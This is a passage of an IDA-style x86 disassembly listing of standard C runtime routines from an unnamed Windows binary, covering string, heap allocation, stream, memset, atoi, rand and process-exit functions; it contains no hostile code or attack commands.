CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DCFC8 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DCFC4 call dword_427140 ; RtlFreeHeap loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; sub_40F03B+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DCFC8 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DCFC0 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DCFC4 call dword_427144 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFC4 call dword_427198 ; RtlReAllocateHeap mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB9BC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C9B4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DCFC4 call dword_427144 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DCFC4 call dword_427198 ; RtlReAllocateHeap mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB9BC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFC4 call dword_427198 ; RtlReAllocateHeap test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB9BC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB9BC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DCFC8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DCFC0 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C9B4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DCFC4 call dword_427144 ; RtlAllocateHeap loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: sub_401221+49Fp ; sub_401221+4BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43CBC4, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C9B8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43CBC4, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C9B8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: sub_401221+306p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; =============== S U B R O U T I N E ======================================= sub_41B784 proc near ; CODE XREF: sub_41D933+93p mov eax, off_43A95C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: sub_41B784+7j push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn sub_41B784 endp ; =============== S U B R O U T I N E ======================================= sub_41B7B1 proc near ; CODE XREF: sub_41D933+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7B1 endp ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: .packed:0041DA24p ; sub_41DA29+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: sub_41B7B1+8p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB980, edi jnz short loc_41B7F0 push [esp+4+arg_0] call dword_4270F8 ; GetCurrentProcess push eax call dword_4270F0 ; TerminateProcess loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB97C, edi mov byte_4DB978, bl jnz short loc_41B844 mov eax, dword_4DCFDC test eax, eax jz short loc_41B833 mov ecx, dword_4DCFD8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DCFDC jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB980, edi call dword_427064 ; ExitProcess loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: sub_41B784+15p ; sub_41B784+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: sub_401221+18Fp ; sub_401221+295p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: sub_401221+45p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A940, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: sub_401221:loc_401379p ; sub_401221:loc_4016A7p ... mov eax, dword_43A940 imul eax, 343FDh add eax, 269EC3h mov dword_43A940, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401221+12Dp ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; 